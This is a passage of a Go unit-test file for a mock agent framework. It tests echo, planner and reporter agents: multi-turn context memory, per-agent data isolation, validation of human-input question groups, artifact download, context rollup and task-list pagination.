||||
if echoSpec.CancelTask.Handler != nil {
|
||||
t.Error("echo should not wire CancelTask (task_cancel=false)")
|
||||
}
|
||||
if echoSpec.DownloadArtifact.Handler != nil {
|
||||
t.Error("echo should not wire DownloadArtifact (artifact_download=false)")
|
||||
}
|
||||
if echoSpec.FileInput {
|
||||
t.Error("echo should not accept file input (file_input=false)")
|
||||
}
|
||||
}
|
||||
|
||||
// TestEchoMultiTurn verifies multi-turn context memory across the read verbs.
|
||||
func TestEchoMultiTurn(t *testing.T) {
|
||||
swapStore(t)
|
||||
rt := fakeRuntime{agentID: "echo"}
|
||||
ctx := context.Background()
|
||||
|
||||
t1, err := echoSend(ctx, rt, agents.SendInput{Text: "hello"})
|
||||
if err != nil {
|
||||
t.Fatalf("first-turn send: %v", err)
|
||||
}
|
||||
if t1.State != agents.StateCompleted || t1.ContextID == "" || t1.TaskID == "" {
|
||||
t.Fatalf("first turn should be completed with context_id/task_id: %+v", t1)
|
||||
}
|
||||
if got := agentReply(t, t1); got != "hello" {
|
||||
t.Fatalf("first-turn echo should be the original text, got %q", got)
|
||||
}
|
||||
|
||||
t2, err := echoSend(ctx, rt, agents.SendInput{Text: "再来", ContextID: t1.ContextID})
|
||||
if err != nil {
|
||||
t.Fatalf("follow-up send: %v", err)
|
||||
}
|
||||
if t2.ContextID != t1.ContextID {
|
||||
t.Fatalf("follow-up should stay in the same context: %q vs %q", t2.ContextID, t1.ContextID)
|
||||
}
|
||||
if got := agentReply(t, t2); got != "再来(第 2 轮)" {
|
||||
t.Fatalf("second-turn echo should carry a turn marker, got %q", got)
|
||||
}
|
||||
|
||||
got, err := getTask(ctx, rt, t2.TaskID)
|
||||
if err != nil {
|
||||
t.Fatalf("getTask: %v", err)
|
||||
}
|
||||
if agentReply(t, got) != "再来(第 2 轮)" {
|
||||
t.Fatalf("getTask should replay the stored messages, got %+v", got.Messages)
|
||||
}
|
||||
tasks, _, err := listTasks(ctx, rt, t1.ContextID, agents.PageParams{})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(tasks) != 2 {
|
||||
t.Fatalf("the same context should have 2 tasks, got %d", len(tasks))
|
||||
}
|
||||
// Every summary carries the enriched fields: a status timestamp and the
|
||||
// one-line digest (the last agent message). listTasks now returns
|
||||
// most-recent-first, so tasks[0] is the second turn and tasks[1] the first.
|
||||
for _, ts := range tasks {
|
||||
if ts.UpdatedAt == "" {
|
||||
t.Errorf("task summary should carry updated_at: %+v", ts)
|
||||
}
|
||||
}
|
||||
if tasks[0].Summary != "再来(第 2 轮)" {
|
||||
t.Errorf("newest task summary should carry the round marker, got %q", tasks[0].Summary)
|
||||
}
|
||||
if tasks[1].Summary != "hello" {
|
||||
t.Errorf("oldest task summary should be the first agent message %q, got %q", "hello", tasks[1].Summary)
|
||||
}
|
||||
ctxs, _, err := listContexts(ctx, rt, agents.PageParams{})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(ctxs) != 1 || ctxs[0].ContextID != t1.ContextID {
|
||||
t.Fatalf("should have exactly 1 context with a matching id, got %+v", ctxs)
|
||||
}
|
||||
if ctxs[0].AwaitingInput {
|
||||
t.Errorf("context summary should roll up awaiting_input=false, got %+v", ctxs[0])
|
||||
}
|
||||
if ctxs[0].UpdatedAt == "" {
|
||||
t.Error("context summary should carry updated_at")
|
||||
}
|
||||
|
||||
// context get NO LONGER returns a full tasks[]: it is metadata + rollup + the
|
||||
// single most-recent active_task (t2, the latest by updated_at).
|
||||
detail, err := getContext(ctx, rt, t1.ContextID)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if detail.TaskCount == nil || *detail.TaskCount != 2 {
|
||||
t.Fatalf("context detail should report task_count=2, got %+v", detail)
|
||||
}
|
||||
if detail.AwaitingInput {
|
||||
t.Errorf("both tasks are completed, awaiting_input should be false: %+v", detail)
|
||||
}
|
||||
if detail.ActiveTask == nil || detail.ActiveTask.TaskID != t2.TaskID {
|
||||
t.Fatalf("active_task should be the most recent task (t2 %s), got %+v", t2.TaskID, detail.ActiveTask)
|
||||
}
|
||||
if detail.ActiveTask.Summary != "再来(第 2 轮)" {
|
||||
t.Errorf("active_task.summary should be the last agent message, got %q", detail.ActiveTask.Summary)
|
||||
}
|
||||
if detail.ActiveTask.UpdatedAt == "" {
|
||||
t.Error("active_task.updated_at should be populated")
|
||||
}
|
||||
}
|
||||
|
||||
// TestCrossAgentIsolation pins the load-bearing per-agent isolation guard: echo
|
||||
// and reporter share one package-global store, so a task/context created under
|
||||
// one agent MUST be invisible to the other agent's runtime (get/delete return a
|
||||
// not-found error; list returns nothing). Without this guard
|
||||
// `agents task get example:reporter <echo-task-id>` would leak echo's data.
|
||||
func TestCrossAgentIsolation(t *testing.T) {
|
||||
swapStore(t)
|
||||
ctx := context.Background()
|
||||
echo := fakeRuntime{agentID: "echo"}
|
||||
reporter := fakeRuntime{agentID: "reporter"}
|
||||
|
||||
t1, err := echoSend(ctx, echo, agents.SendInput{Text: "secret"})
|
||||
if err != nil {
|
||||
t.Fatalf("echo send: %v", err)
|
||||
}
|
||||
|
||||
// reporter must not read/delete echo's task or context.
|
||||
if _, err := getTask(ctx, reporter, t1.TaskID); err == nil {
|
||||
t.Error("reporter must not read echo's task (cross-agent leak)")
|
||||
}
|
||||
if _, err := getContext(ctx, reporter, t1.ContextID); err == nil {
|
||||
t.Error("reporter must not read echo's context (cross-agent leak)")
|
||||
}
|
||||
if err := deleteContext(ctx, reporter, t1.ContextID); err == nil {
|
||||
t.Error("reporter must not delete echo's context (cross-agent leak)")
|
||||
}
|
||||
if tasks, _, _ := listTasks(ctx, reporter, "", agents.PageParams{}); len(tasks) != 0 {
|
||||
t.Errorf("reporter should see no echo tasks, got %d", len(tasks))
|
||||
}
|
||||
if ctxs, _, _ := listContexts(ctx, reporter, agents.PageParams{}); len(ctxs) != 0 {
|
||||
t.Errorf("reporter should see no echo contexts, got %d", len(ctxs))
|
||||
}
|
||||
|
||||
// echo still sees its own data, and its context survived reporter's delete.
|
||||
if _, err := getTask(ctx, echo, t1.TaskID); err != nil {
|
||||
t.Errorf("echo must still read its own task: %v", err)
|
||||
}
|
||||
if _, err := getContext(ctx, echo, t1.ContextID); err != nil {
|
||||
t.Errorf("echo's context must survive a cross-agent delete attempt: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
// TestStateSurvivesReload pins the cross-process semantics via the shared snapshot.
|
||||
func TestStateSurvivesReload(t *testing.T) {
|
||||
swapStore(t)
|
||||
rt := fakeRuntime{agentID: "echo"}
|
||||
task, err := echoSend(context.Background(), rt, agents.SendInput{Text: "persist"})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
store = newMemoryStore(store.path) // a new process view; only the snapshot file is shared
|
||||
got, err := getTask(context.Background(), rt, task.TaskID)
|
||||
if err != nil {
|
||||
t.Fatalf("getTask after reload: %v", err)
|
||||
}
|
||||
if got.ContextID != task.ContextID {
|
||||
t.Fatalf("task should replay fully after reload: %+v", got)
|
||||
}
|
||||
}
|
||||
|
||||
// plannerAnswers builds the full valid answer set for a freshly opened planner
|
||||
// group (§10.1 key encoding): q1 by option, q2 by text, q3 multi-select.
|
||||
func plannerAnswers(ir *agents.InputRequired) map[string][]string {
|
||||
return map[string][]string{
|
||||
ir.Questions[0].QuestionID: {"by_region"},
|
||||
ir.Questions[1].QuestionID + agents.AnswerTextSuffix: {"2024 全年"},
|
||||
ir.Questions[2].QuestionID: {"east", "north"},
|
||||
}
|
||||
}
|
||||
|
||||
// TestPlannerGroupFlow drives the input_required HITL loop end to end on the
|
||||
// reference provider: the first send pauses on a three-question group with
|
||||
// creation-minted per-group keys, one --answer submission completes the task
|
||||
// with option ids resolved back to labels, and a second submission gets
|
||||
// failed_precondition carrying resolved_answers (the "already decided" path).
|
||||
func TestPlannerGroupFlow(t *testing.T) {
|
||||
swapStore(t)
|
||||
rt := fakeRuntime{agentID: "planner"}
|
||||
ctx := context.Background()
|
||||
|
||||
t1, err := plannerSend(ctx, rt, agents.SendInput{Text: "出个季度报表"})
|
||||
if err != nil {
|
||||
t.Fatalf("planner open send: %v", err)
|
||||
}
|
||||
if t1.State != agents.StateInputRequired || t1.InputRequired == nil {
|
||||
t.Fatalf("first send should pause on a question group, got %+v", t1)
|
||||
}
|
||||
ir := t1.InputRequired
|
||||
if ir.Label == "" || len(ir.Questions) != 3 {
|
||||
t.Fatalf("group should carry a label and 3 questions, got %+v", ir)
|
||||
}
|
||||
if len(ir.Questions[0].Options) != 2 || len(ir.Questions[1].Options) != 0 ||
|
||||
!ir.Questions[2].MultiSelect || len(ir.Questions[2].Options) != 3 {
|
||||
t.Fatalf("question shapes wrong: %+v", ir.Questions)
|
||||
}
|
||||
for _, q := range ir.Questions {
|
||||
if !agents.KeyPattern.MatchString(q.QuestionID) {
|
||||
t.Errorf("minted question_id must satisfy KeyPattern, got %q", q.QuestionID)
|
||||
}
|
||||
}
|
||||
// Per-group suffix: all three ids share ONE suffix (creation-minted, §6.2 —
|
||||
// per-question suffixes would break the group-anchor staleness design)…
|
||||
suffix := t1.InputRequired.Questions[0].QuestionID
|
||||
suffix = suffix[strings.LastIndex(suffix, "_")+1:]
|
||||
for _, q := range t1.InputRequired.Questions {
|
||||
if !strings.HasSuffix(q.QuestionID, "_"+suffix) {
|
||||
t.Errorf("all question ids must share the group suffix %q, got %q", suffix, q.QuestionID)
|
||||
}
|
||||
}
|
||||
// …and a SECOND group (new ask in the same context) mints a different one —
|
||||
// the stale-retry protection.
|
||||
t2, err := plannerSend(ctx, rt, agents.SendInput{ContextID: t1.ContextID, Text: "再来一份"})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
q2id := t2.InputRequired.Questions[0].QuestionID
|
||||
if q2id == t1.InputRequired.Questions[0].QuestionID {
|
||||
t.Errorf("a successor group must mint different question ids, both got %q", q2id)
|
||||
}
|
||||
|
||||
done, err := plannerSend(ctx, rt, agents.SendInput{
|
||||
ContextID: t1.ContextID, TaskID: t1.TaskID, Answers: plannerAnswers(ir),
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("answering the group: %v", err)
|
||||
}
|
||||
if done.State != agents.StateCompleted {
|
||||
t.Fatalf("answered task should be completed, got %s", done.State)
|
||||
}
|
||||
var acceptReply string
|
||||
for i := len(done.Messages) - 1; i >= 0; i-- {
|
||||
if done.Messages[i].Role == "agent" && len(done.Messages[i].Parts) > 0 {
|
||||
acceptReply = done.Messages[i].Parts[0].Text
|
||||
break
|
||||
}
|
||||
}
|
||||
if !strings.Contains(acceptReply, "按大区") || !strings.Contains(acceptReply, "2024 全年") {
|
||||
t.Errorf("acceptance reply should resolve option ids to labels and echo text answers, got %q", acceptReply)
|
||||
}
|
||||
|
||||
// Second submission (another endpoint / a retry whose first attempt landed):
|
||||
// failed_precondition + resolved_answers echoing what won.
|
||||
_, err = plannerSend(ctx, rt, agents.SendInput{
|
||||
ContextID: t1.ContextID, TaskID: t1.TaskID, Answers: plannerAnswers(ir),
|
||||
})
|
||||
if err == nil {
|
||||
t.Fatal("re-answering a resolved group should fail")
|
||||
}
|
||||
if p, ok := errs.ProblemOf(err); !ok || p.Subtype != errs.SubtypeFailedPrecondition {
|
||||
t.Fatalf("re-answer should be failed_precondition, got %+v (%v)", p, err)
|
||||
}
|
||||
var verr *errs.ValidationError
|
||||
if !errors.As(err, &verr) || verr.ResolvedAnswers == nil {
|
||||
t.Fatalf("re-answer must carry resolved_answers (who won), got %+v", verr)
|
||||
}
|
||||
if v := verr.ResolvedAnswers[ir.Questions[0].QuestionID]; len(v) != 1 || v[0] != "by_region" {
|
||||
t.Errorf("resolved_answers should echo the accepted set, got %v", verr.ResolvedAnswers)
|
||||
}
|
||||
}
|
||||
|
||||
// TestPlannerCollectAllValidation pins the strict-posture server validation in
|
||||
// one submission: an unknown key (stale retry), a bad option, a skip+value
|
||||
// conflict, and a missing question are ALL reported in one invalid_argument
|
||||
// whose params[] carry the Reason enum and the question declaration — and the
|
||||
// rejected submission changes nothing.
|
||||
func TestPlannerCollectAllValidation(t *testing.T) {
|
||||
swapStore(t)
|
||||
rt := fakeRuntime{agentID: "planner"}
|
||||
ctx := context.Background()
|
||||
t1, err := plannerSend(ctx, rt, agents.SendInput{Text: "出报表"})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
ir := t1.InputRequired
|
||||
_, err = plannerSend(ctx, rt, agents.SendInput{
|
||||
ContextID: t1.ContextID, TaskID: t1.TaskID,
|
||||
Answers: map[string][]string{
|
||||
"q1_stale": {"by_region"}, // 陈旧/拼错键 → unknown_question
|
||||
ir.Questions[0].QuestionID: {"nonexistent"}, // 非法选项 → invalid_option
|
||||
ir.Questions[2].QuestionID: {"east", "skip"}, // skip 与实值互斥 → conflict
|
||||
// Questions[1] 未答 → missing
|
||||
},
|
||||
})
|
||||
if err == nil {
|
||||
t.Fatal("a violating submission should error")
|
||||
}
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok || p.Subtype != errs.SubtypeInvalidArgument {
|
||||
t.Fatalf("want invalid_argument, got %+v (%v)", p, err)
|
||||
}
|
||||
var verr *errs.ValidationError
|
||||
if !errors.As(err, &verr) {
|
||||
t.Fatal(err)
|
||||
}
|
||||
reasons := map[string]string{}
|
||||
for _, ip := range verr.Params {
|
||||
reasons[ip.Reason] = ip.Name
|
||||
}
|
||||
for _, want := range []string{"unknown_question", "invalid_option", "conflict", "missing"} {
|
||||
if _, hit := reasons[want]; !hit {
|
||||
t.Errorf("collect-all params should include reason %q, got %v", want, verr.Params)
|
||||
}
|
||||
}
|
||||
if !strings.Contains(p.Hint, "整组重发") {
|
||||
t.Errorf("hint must state the full-group resend rule, got %q", p.Hint)
|
||||
}
|
||||
|
||||
got, err := getTask(ctx, rt, t1.TaskID)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if got.State != agents.StateInputRequired {
|
||||
t.Errorf("a rejected submission must change nothing, got state=%s", got.State)
|
||||
}
|
||||
}
|
||||
|
||||
// TestPlannerBareTextNoSiblingFork pins the §6.5 rule: a bare --text aimed at
|
||||
// the paused task is rejected with guidance toward --answer — it must NOT fork
|
||||
// a sibling task (the pre-v0.3 behavior this replaces).
|
||||
func TestPlannerBareTextNoSiblingFork(t *testing.T) {
|
||||
swapStore(t)
|
||||
rt := fakeRuntime{agentID: "planner"}
|
||||
ctx := context.Background()
|
||||
t1, err := plannerSend(ctx, rt, agents.SendInput{Text: "出报表"})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
_, err = plannerSend(ctx, rt, agents.SendInput{
|
||||
ContextID: t1.ContextID, TaskID: t1.TaskID, Text: "按大区吧",
|
||||
})
|
||||
if err == nil {
|
||||
t.Fatal("bare --text at a paused select-question group should be rejected")
|
||||
}
|
||||
if p, ok := errs.ProblemOf(err); !ok || p.Subtype != errs.SubtypeInvalidArgument || !strings.Contains(p.Hint, "--answer") {
|
||||
t.Fatalf("rejection should guide to --answer, got %+v (%v)", p, err)
|
||||
}
|
||||
// No sibling task was created: the context still holds exactly one task.
|
||||
tasks, _, err := listTasks(ctx, rt, t1.ContextID, agents.PageParams{})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(tasks) != 1 {
|
||||
t.Fatalf("bare --text must not fork a sibling task, got %d tasks", len(tasks))
|
||||
}
|
||||
}
|
||||
|
||||
// TestNewTurnRejectsAnswers pins the no-silent-drop bottom line on born-terminal
|
||||
// agents: reporter passes the CLI's input_required capability gate, so its hook
|
||||
// must reject --answer loudly instead of consuming it as a plain turn.
|
||||
func TestNewTurnRejectsAnswers(t *testing.T) {
|
||||
swapStore(t)
|
||||
rt := fakeRuntime{agentID: "reporter"}
|
||||
_, err := reporterSend(context.Background(), rt, agents.SendInput{
|
||||
Answers: map[string][]string{"q1": {"x"}},
|
||||
})
|
||||
if err == nil {
|
||||
t.Fatal("answers at a born-terminal agent should be rejected, not dropped")
|
||||
}
|
||||
if p, ok := errs.ProblemOf(err); !ok || p.Subtype != errs.SubtypeFailedPrecondition {
|
||||
t.Fatalf("want failed_precondition, got %+v (%v)", p, err)
|
||||
}
|
||||
}
|
||||
|
||||
// TestReporterParamsBinding locks the declaration↔consumption contract: the
|
||||
// reporterSendParams struct tags must reference params declared on send with
|
||||
// compatible kinds (a renamed/retyped declaration fails here in CI, not as a
|
||||
// silent zero value at runtime).
|
||||
func TestReporterParamsBinding(t *testing.T) {
|
||||
agenttest.CheckParamsBinding[reporterSendParams](t, &reporterSpec, agents.VerbSend)
|
||||
}
|
||||
|
||||
// TestReporterConsumesParams drives reporterSend with framework-style resolved
|
||||
// params (defaults backfilled) and pins that BindParams feeds the reply: the
|
||||
// default shape keeps the historical reply, a non-default format changes it.
|
||||
func TestReporterConsumesParams(t *testing.T) {
|
||||
swapStore(t)
|
||||
ctx := context.Background()
|
||||
|
||||
// defaults → historical reply, byte-identical
|
||||
rt := fakeRuntime{agentID: "reporter", params: map[string]string{"report_format": "csv", "quarters": "4"}}
|
||||
task, err := reporterSend(ctx, rt, agents.SendInput{Text: "报表"})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if got := agentReply(t, task); !strings.HasPrefix(got, "报表已生成:quarterly_report.csv") {
|
||||
t.Fatalf("default params should keep the historical reply, got %q", got)
|
||||
}
|
||||
|
||||
// non-default format → the reply reflects the params
|
||||
rt2 := fakeRuntime{agentID: "reporter", params: map[string]string{"report_format": "xlsx", "quarters": "6"}}
|
||||
task2, err := reporterSend(ctx, rt2, agents.SendInput{Text: "报表"})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if got := agentReply(t, task2); !strings.Contains(got, "xlsx") || !strings.Contains(got, "6 个季度") {
|
||||
t.Fatalf("params should feed the reply, got %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
// TestReporterRenderObject drives the object param end to end on the reference
|
||||
// provider: framework-style resolved leaves reach the hook, the nested struct
|
||||
// binds, and the reply reflects them.
|
||||
func TestReporterRenderObject(t *testing.T) {
|
||||
swapStore(t)
|
||||
rt := fakeRuntime{agentID: "reporter", params: map[string]string{
|
||||
"report_format": "csv", "quarters": "4",
|
||||
"render.theme": "dark", "render.watermark": "true",
|
||||
}}
|
||||
task, err := reporterSend(context.Background(), rt, agents.SendInput{Text: "报表"})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if got := agentReply(t, task); !strings.Contains(got, "dark 主题,含水印") {
|
||||
t.Fatalf("render object should feed the reply, got %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
// TestReporterArtifactFlow verifies the full artifact chain.
|
||||
func TestReporterArtifactFlow(t *testing.T) {
|
||||
swapStore(t)
|
||||
rt := fakeRuntime{agentID: "reporter"}
|
||||
ctx := context.Background()
|
||||
|
||||
task, err := reporterSend(ctx, rt, agents.SendInput{Text: "本季度报表"})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(task.Artifacts) != 1 {
|
||||
t.Fatalf("reporter should produce 1 artifact, got %+v", task.Artifacts)
|
||||
}
|
||||
art := task.Artifacts[0]
|
||||
if art.ID == "" || art.Kind != "text" {
|
||||
t.Fatalf("artifact should carry ID + Kind=text, got %+v", art)
|
||||
}
|
||||
|
||||
data, err := downloadArtifact(ctx, rt, task.TaskID, art.ID)
|
||||
if err != nil {
|
||||
t.Fatalf("downloadArtifact: %v", err)
|
||||
}
|
||||
if data.Name != "quarterly_report.csv" || data.Mime != "text/csv" {
|
||||
t.Errorf("suggested_name/mime wrong: %+v", data)
|
||||
}
|
||||
if !strings.HasPrefix(string(data.Bytes), "quarter,revenue") {
|
||||
t.Errorf("should return inline CSV bytes, got %q", string(data.Bytes))
|
||||
}
|
||||
|
||||
if _, err := downloadArtifact(ctx, rt, task.TaskID, "art_nope"); err == nil {
|
||||
t.Fatal("unknown artifact id should return an error")
|
||||
} else if _, ok := errs.ProblemOf(err); !ok {
|
||||
t.Fatalf("unknown artifact id should be a typed error, got %T: %v", err, err)
|
||||
}
|
||||
}
|
||||
|
||||
// TestReporterCancelTerminal verifies reporter's cancel returns failed_precondition
|
||||
// for a terminal task (the mock task is completed the moment it is sent).
|
||||
func TestReporterCancelTerminal(t *testing.T) {
|
||||
swapStore(t)
|
||||
rt := fakeRuntime{agentID: "reporter"}
|
||||
ctx := context.Background()
|
||||
task, err := reporterSend(ctx, rt, agents.SendInput{Text: "报表"})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
err = cancelTask(ctx, rt, task.TaskID)
|
||||
if err == nil {
|
||||
t.Fatal("canceling a terminal task should return an error")
|
||||
}
|
||||
prob, ok := errs.ProblemOf(err)
|
||||
if !ok || prob.Subtype != errs.SubtypeFailedPrecondition {
|
||||
t.Fatalf("terminal cancel should be failed_precondition, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
// TestUnknownCatalogID verifies an unknown catalog id is a typed error from the
|
||||
// framework's LookupSpec (with a hint pointing to agents list example).
|
||||
func TestUnknownCatalogID(t *testing.T) {
|
||||
_, _, _, err := agents.LookupSpec("example:nonexistent")
|
||||
if err == nil {
|
||||
t.Fatal("an unknown catalog id should return an error")
|
||||
}
|
||||
prob, ok := errs.ProblemOf(err)
|
||||
if !ok || prob.Subtype != errs.SubtypeInvalidArgument {
|
||||
t.Fatalf("unknown catalog id should be an invalid_argument typed error, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
// TestSendGuards pins send's two typed rejections: --task-id follow-up and an
|
||||
// unknown context id.
|
||||
func TestSendGuards(t *testing.T) {
|
||||
swapStore(t)
|
||||
rt := fakeRuntime{agentID: "echo"}
|
||||
ctx := context.Background()
|
||||
|
||||
_, err := echoSend(ctx, rt, agents.SendInput{Text: "hi", ContextID: "ctx_x", TaskID: "task_x"})
|
||||
if prob, ok := errs.ProblemOf(err); !ok || prob.Subtype != errs.SubtypeFailedPrecondition {
|
||||
t.Fatalf("--task-id follow-up should be failed_precondition, got %v", err)
|
||||
}
|
||||
|
||||
_, err = echoSend(ctx, rt, agents.SendInput{Text: "hi", ContextID: "ctx_missing"})
|
||||
if prob, ok := errs.ProblemOf(err); !ok || prob.Subtype != errs.SubtypeInvalidArgument {
|
||||
t.Fatalf("unknown context id should be invalid_argument, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
// TestDeleteContext verifies deleting a context also cleans up its tasks.
|
||||
func TestDeleteContext(t *testing.T) {
|
||||
swapStore(t)
|
||||
rt := fakeRuntime{agentID: "echo"}
|
||||
ctx := context.Background()
|
||||
task, err := echoSend(ctx, rt, agents.SendInput{Text: "bye"})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := deleteContext(ctx, rt, task.ContextID); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if _, err := getTask(ctx, rt, task.TaskID); err == nil {
|
||||
t.Fatal("after deleting the context its tasks should be unqueryable")
|
||||
}
|
||||
ctxs, _, err := listContexts(ctx, rt, agents.PageParams{})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(ctxs) != 0 {
|
||||
t.Fatalf("no contexts should remain after deletion, got %+v", ctxs)
|
||||
}
|
||||
}
|
||||
|
||||
// TestContextRollupPicksLatestUpdated pins the enriched-summary rollup rule: the
|
||||
// active_task is the task with the LATEST updated_at (not the last created), the
|
||||
// rollup counts tasks and flags awaiting_input, and an input_required active
|
||||
// task's summary is its pending prompt. It seeds the store directly with
|
||||
// out-of-creation-order timestamps so "latest updated_at wins" is tested
|
||||
// independently of insertion order.
|
||||
func TestContextRollupPicksLatestUpdated(t *testing.T) {
|
||||
swapStore(t)
|
||||
store.loaded = true // seed in-memory directly; skip the (missing) snapshot load
|
||||
store.Contexts["ctx_1"] = &contextRecord{
|
||||
AgentID: "echo", ContextID: "ctx_1", CreatedAt: "2026-07-01T00:00:00Z",
|
||||
Seq: 1, TaskIDs: []string{"t_a", "t_b", "t_c"},
|
||||
}
|
||||
store.Tasks["t_a"] = &taskRecord{AgentID: "echo", Seq: 2, Task: agents.AgentTask{
|
||||
TaskID: "t_a", ContextID: "ctx_1", State: agents.StateCompleted, IsTerminal: true,
|
||||
UpdatedAt: "2026-07-03T00:00:00Z", Messages: agentMessage("A 完成"),
|
||||
}}
|
||||
// t_b has the LATEST updated_at yet is created before t_c, and is input_required.
|
||||
store.Tasks["t_b"] = &taskRecord{AgentID: "echo", Seq: 3, Task: agents.AgentTask{
|
||||
TaskID: "t_b", ContextID: "ctx_1", State: agents.StateInputRequired,
|
||||
UpdatedAt: "2026-07-05T00:00:00Z", InputRequired: &agents.InputRequired{Questions: []agents.Question{{QuestionID: "q1_x", Question: "按大区还是品类拆?"}}},
|
||||
}}
|
||||
store.Tasks["t_c"] = &taskRecord{AgentID: "echo", Seq: 4, Task: agents.AgentTask{
|
||||
TaskID: "t_c", ContextID: "ctx_1", State: agents.StateCompleted, IsTerminal: true,
|
||||
UpdatedAt: "2026-07-04T00:00:00Z", Messages: agentMessage("C 完成"),
|
||||
}}
|
||||
|
||||
rt := fakeRuntime{agentID: "echo"}
|
||||
detail, err := getContext(context.Background(), rt, "ctx_1")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if detail.TaskCount == nil || *detail.TaskCount != 3 {
|
||||
t.Errorf("task_count should be 3, got %+v", detail)
|
||||
}
|
||||
if !detail.AwaitingInput {
|
||||
t.Error("awaiting_input should be true (t_b is input_required)")
|
||||
}
|
||||
if detail.ActiveTask == nil || detail.ActiveTask.TaskID != "t_b" {
|
||||
t.Fatalf("active_task should be t_b (latest updated_at), not the last-created task, got %+v", detail.ActiveTask)
|
||||
}
|
||||
if detail.ActiveTask.Summary != "按大区还是品类拆?" {
|
||||
t.Errorf("an input_required active task's summary should be its pending prompt, got %q", detail.ActiveTask.Summary)
|
||||
}
|
||||
if detail.UpdatedAt != "2026-07-05T00:00:00Z" {
|
||||
t.Errorf("context updated_at should roll up to the latest task, got %q", detail.UpdatedAt)
|
||||
}
|
||||
|
||||
// context list carries the same rollup.
|
||||
ctxs, _, err := listContexts(context.Background(), rt, agents.PageParams{})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(ctxs) != 1 {
|
||||
t.Fatalf("expected 1 context, got %d", len(ctxs))
|
||||
}
|
||||
if ctxs[0].UpdatedAt != "2026-07-05T00:00:00Z" || !ctxs[0].AwaitingInput {
|
||||
t.Errorf("context summary rollup wrong: %+v", ctxs[0])
|
||||
}
|
||||
}
|
||||
|
||||
// TestTaskSummaryText pins the digest rule: rune-safe truncation to ~100 runes,
|
||||
// and that an input_required task prefers its pending prompt over the last agent
|
||||
// message.
|
||||
func TestTaskSummaryText(t *testing.T) {
|
||||
long := strings.Repeat("字", 250)
|
||||
got := taskSummaryText(agents.AgentTask{Messages: agentMessage(long)})
|
||||
if n := len([]rune(got)); n != summaryMaxRunes {
|
||||
t.Errorf("summary should be rune-truncated to %d runes, got %d", summaryMaxRunes, n)
|
||||
}
|
||||
prompt := taskSummaryText(agents.AgentTask{
|
||||
State: agents.StateInputRequired,
|
||||
InputRequired: &agents.InputRequired{Questions: []agents.Question{{QuestionID: "q1_x", Question: "补充预算区间?"}}},
|
||||
Messages: agentMessage("忽略我"),
|
||||
})
|
||||
if prompt != "补充预算区间?" {
|
||||
t.Errorf("input_required summary should be the pending question, got %q", prompt)
|
||||
}
|
||||
multi := taskSummaryText(agents.AgentTask{
|
||||
State: agents.StateInputRequired,
|
||||
InputRequired: &agents.InputRequired{Label: "报表生成确认",
|
||||
Questions: []agents.Question{{QuestionID: "q1_x", Question: "a?"}, {QuestionID: "q2_x", Question: "b?"}}},
|
||||
})
|
||||
if multi != "报表生成确认(共 2 题)" {
|
||||
t.Errorf("multi-question summary should be label + count, got %q", multi)
|
||||
}
|
||||
}
|
||||
|
||||
// agentMessage builds a single agent-role text message for seeding task fixtures.
|
||||
func agentMessage(text string) []agents.Message {
|
||||
return []agents.Message{{Role: "agent", Parts: []agents.Part{{Type: "text", Text: text}}}}
|
||||
}
|
||||
|
||||
// agentReply returns the first text reply from the agent role in the task.
|
||||
func agentReply(t *testing.T, task *agents.AgentTask) string {
|
||||
t.Helper()
|
||||
for _, m := range task.Messages {
|
||||
if m.Role != "agent" {
|
||||
continue
|
||||
}
|
||||
for _, part := range m.Parts {
|
||||
if part.Type == "text" {
|
||||
return part.Text
|
||||
}
|
||||
}
|
||||
}
|
||||
t.Fatalf("task is missing an agent text reply: %+v", task.Messages)
|
||||
return ""
|
||||
}
|
||||
|
||||
// TestListTasksPagination pins the offset-cursor pagination of the store's
|
||||
// listTasks: seed 5 tasks in one context, walk them 2 at a time, and assert the
|
||||
// HasMore / NextToken contract plus no cross-page overlap. Ordering is
|
||||
// most-recent-first (Seq descending).
|
||||
func TestListTasksPagination(t *testing.T) {
|
||||
swapStore(t)
|
||||
ctx := context.Background()
|
||||
rt := fakeRuntime{agentID: "echo"}
|
||||
first, err := echoSend(ctx, rt, agents.SendInput{Text: "m0"})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
ctxID := first.ContextID
|
||||
for _, text := range []string{"m1", "m2", "m3", "m4"} {
|
||||
if _, err := echoSend(ctx, rt, agents.SendInput{Text: text, ContextID: ctxID}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
p1, info1 := store.listTasks("echo", ctxID, agents.PageParams{Size: 2})
|
||||
if len(p1) != 2 {
|
||||
t.Fatalf("page 1 should have 2 tasks, got %d", len(p1))
|
||||
